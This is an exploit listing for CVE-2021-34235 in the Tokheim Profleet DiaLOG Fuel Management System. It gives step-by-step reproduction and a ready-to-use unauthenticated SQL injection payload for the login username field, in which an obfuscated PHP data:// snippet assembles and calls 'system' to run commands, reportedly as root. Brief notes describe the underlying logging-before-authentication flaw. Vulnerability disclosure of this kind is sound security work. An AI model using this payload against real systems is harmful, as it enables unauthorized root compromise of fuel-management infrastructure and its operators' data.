Tokheim Profleet DiaLOG Fuel Management System 11.005.02 SQL Injection / Code Execution

Tokheim Profleet DiaLOG Fuel Management System version 11.005.02 suffers from a remote SQL injection vulnerability that can allow for remote code execution.


MD5 | 223db005326f0bf40278c50e39231349

# Exploit Title: Tokheim Profleet DiaLOG Fuel Management System 11.005.02 - SQLi (Unauthenticated)
# Date: 02/9/2022
# Exploit Author: golem445
# Vendor Homepage: https://www.tsg-solutions.com
# Tested on: Kali Linux
# CVE: CVE-2021-34235
# Description: Field__UserLogin parameter is vulnerable to crafted MySQL injection, resulting in remote code execution as root.

==Steps to Reproduce==
# Go to : http://dialog_host/login.php
# Enter escaped MySQL query into the username field and submit, passwords doesn't matter. (Such as: ' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<?php $a=”sy”;$b=”stem”;$c=$a.$b; $c(“uname -a”);?>’ -- -)
# This can also be accomplished via intercepting the logon submission with Burp Proxy, then entering your MySQL query into the Field_UserLogin parameter.

==Notes==
This vulnerability appears rooted in a logic flaw. Typical authentication logic flow is a user submitting their credentials, authentication success/failure occurs, followed with results being noted in a log. This application appears to work inversely, i.e. logon attempt is logged, then the users credentials are checked.

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